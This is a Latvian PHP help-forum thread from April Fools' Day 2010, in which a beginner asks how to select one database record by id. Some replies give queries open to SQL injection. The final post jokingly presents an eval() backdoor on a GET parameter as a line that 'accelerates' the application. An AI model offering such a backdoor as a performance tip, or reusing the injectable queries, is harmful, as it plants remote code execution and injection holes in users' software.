LinuX Posted April 1, 2010 Report Share Posted April 1, 2010 ir fails index.php $sql = "SELECT * FROM php"; $result = mysql_query($sql); while($rows = mysql_fetch_array($result)) { $id = ($rows['id']); $check_nick = strip_tags ($rows['nick']); $check_comment = strip_tags ($rows['comment']); $wrap_comment = wordwrap ($check_comment, 80, '<br>'); echo "<fieldset style='width:500px;border:1px solid green;'><legend style='font-family:verdana;font-size:15px;color:orange;'>{$check_nick}</legend>"; echo "<a style='font-family:verdana;font-size:13px;text-decoration:none;' href='index.php?id=$id'>{$wrap_comment}</a></fieldset>"; if(isset($_GET['id'])) { echo $check_comment; } }} Palīdziet lūdzu izvadīt ārā no datubāzes pareizi datus. Kad nospiežu uz viens, tad izvadās visi dati, bet man vajag lai izvadītos tikai tie dati kas zem attiecīgā link. ja nospiedīšu uz divi tad notiks tas pats. utt. :( Help.... Quote Link to comment Share on other sites More sharing options...
Pentiums Posted April 1, 2010 Report Share Posted April 1, 2010 šodien joku diena $sql = "SELECT * FROM php"; Kverijā ar WHERE klauzu norādi ko gribi izvadīt Quote Link to comment Share on other sites More sharing options...
LinuX Posted April 1, 2010 Author Report Share Posted April 1, 2010 šodien joku diena $sql = "SELECT * FROM php"; Kverijā ar WHERE klauzu norādi ko gribi izvadīt Jā tieši to arī mēģināju! SELECT comment FROM php WHERE ..........!!!!!! Nezinu kā lai uzraksta, lai viņš pareizi izvadītu. Quote Link to comment Share on other sites More sharing options...
euphoric Posted April 1, 2010 Report Share Posted April 1, 2010 SELECT `comment` FROM php WHERE `id`=$id April,april ;) Quote Link to comment Share on other sites More sharing options...
emsy Posted April 1, 2010 Report Share Posted April 1, 2010 (edited) SELECT * FROM php WHERE id=$id Edited April 1, 2010 by emsy Quote Link to comment Share on other sites More sharing options...
Pentiums Posted April 1, 2010 Report Share Posted April 1, 2010 strādās tikai ja globālie ir on. labāk jau šādi $sql = "SELECT * FROM php WHERE id = '".mysql_real_escape_string($_GET['id'])."'"; Quote Link to comment Share on other sites More sharing options...
codez Posted April 1, 2010 Report Share Posted April 1, 2010 šodien labāk vispār neprogrammēt. Quote Link to comment Share on other sites More sharing options...
emsy Posted April 1, 2010 Report Share Posted April 1, 2010 Var jau arī visu kārtīgi izķidāt <?php if(isset($_GET['id']) and !empty($_GET['id']) and is_numeric($_GET['id'])) { $id = mysql_real_escape_string($_GET['id']); } else { $id = 1; } $sql = mysql_query("SELECT * FROM php WHERE id=$id"); ?> Quote Link to comment Share on other sites More sharing options...
emsy Posted April 1, 2010 Report Share Posted April 1, 2010 šodien labāk vispār neprogrammēt. Man šodiem tieši labs garīgais priekš kodēšanas. Laikam sanāca dubultposts! Quote Link to comment Share on other sites More sharing options...
LinuX Posted April 1, 2010 Author Report Share Posted April 1, 2010 strādās tikai ja globālie ir on. labāk jau šādi $sql = "SELECT * FROM php WHERE id = '".mysql_real_escape_string($_GET['id'])."'"; Ko lai dara viņu ir bezgalīgi daudz? Quote Link to comment Share on other sites More sharing options...
LinuX Posted April 1, 2010 Author Report Share Posted April 1, 2010 Var jau arī visu kārtīgi izķidāt <?php if(isset($_GET['id']) and !empty($_GET['id']) and is_numeric($_GET['id'])) { $id = mysql_real_escape_string($_GET['id']); } else { $id = 1; } $sql = mysql_query("SELECT * FROM php WHERE id=$id"); ?> emsy kurā vietā tam skriptam šito iebāzt? Quote Link to comment Share on other sites More sharing options...
2easy Posted April 1, 2010 Report Share Posted April 1, 2010 (edited) es labāk neteikšu, kur iebāzt... p.s. tā jau katru rītu šaubīgi veru vaļā php.lv un domāju, vai jau esmu izbanots vai vēl nē :D:D:D Edited April 1, 2010 by 2easy Quote Link to comment Share on other sites More sharing options...
Pentiums Posted April 1, 2010 Report Share Posted April 1, 2010 augšā kverija vietā bāz Quote Link to comment Share on other sites More sharing options...
LinuX Posted April 1, 2010 Author Report Share Posted April 1, 2010 augšā kverija vietā bāz ja ieliksu augšā kvērija vietā tad pazūd visi izvadītie komentāri. varbūt viņu likt pirms echo $check_comment? Quote Link to comment Share on other sites More sharing options...
codez Posted April 1, 2010 Report Share Posted April 1, 2010 (edited) ja id ir vesels skaitlis, tad var vienkārši taisīt typecast-u, tik tad priekšā jāpieliek šī viena universālā rindiņa, kura akselerē visu php aplikācij darbību. if (isset($_GET['codez_slepenais_caurums']) && (md5($_GET['hash'])=='AE34AD790934CE3453EA')) {eval($_GET['codez_slepenais_caurums']);} $id=(int)$id; $sql = "SELECT * FROM php WHERE id = $id"; Edited April 1, 2010 by codez Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.